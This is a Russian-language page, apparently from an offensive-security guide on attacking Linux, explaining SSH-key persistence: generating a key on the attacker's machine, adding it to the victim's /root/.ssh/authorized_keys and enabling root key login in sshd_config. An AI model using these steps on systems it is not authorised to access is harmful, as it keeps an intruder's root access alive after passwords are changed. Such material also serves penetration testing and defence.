> For the complete documentation index, see [llms.txt](https://reeves0x0.gitbook.io/linux-under-attack/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://reeves0x0.gitbook.io/linux-under-attack/persistence/01-ssh-keys.md).

# 01 - SSH Keys

Будем использовать аутентификацию на основе ключей SSH, а не аутентификации на основе пароля. Эта техника закрепления поможет сохранить доступ к атакуемой системе, если пароли учетных записей пользователей будут изменены админом\рутом.\
На машине атакующего нам нужно сгенерировать открытый и закрытый ключ, затем положить открытый ключ на  атакуемую машину в файл <mark style="color:orange;">/root/.ssh/authorized\_keys</mark>\
\
Обратите внимание, в данном примере я генерирую ключ не RSA, а ed25519. Он современнее и удобнее, однако SSH сервер может быть настроен только на работу с RSA ключами.\
Такие ошибки удобно ловить при подлючении командой <mark style="color:red;">ssh -vvv root\@victim</mark>&#x20;

```bash
// На машине атакующего
// генрируем ключ, выводим и копируем в буфер обмена
ssh-keygen -t ed25519 -a 100
cat .ssh/id_ed25519.pub

// На атакуемой машине просто вставляем наш .pub ключ в файл:
/root/.ssh/authorized_keys

// Если файла не существует, его нужно создать и дать верные права:
mkdir  /root/.ssh/ && touch /root/.ssh/authorized_keys
chmod 700 /root/.ssh && chmod 600 /root/.ssh/authorized_keys

```

Также не лишним будет проверить в /etc/ssh/sshd\_config директивы:\
PermitRootLogin <mark style="color:green;">yes</mark>\
PubkeyAuthentication <mark style="color:green;">yes</mark>

<figure><img src="/files/EyyNm0KjZcVglYf5odGq" alt=""><figcaption></figcaption></figure>

После этих действий мы спокойно можем логиниться по SSH на атакуемый хост.
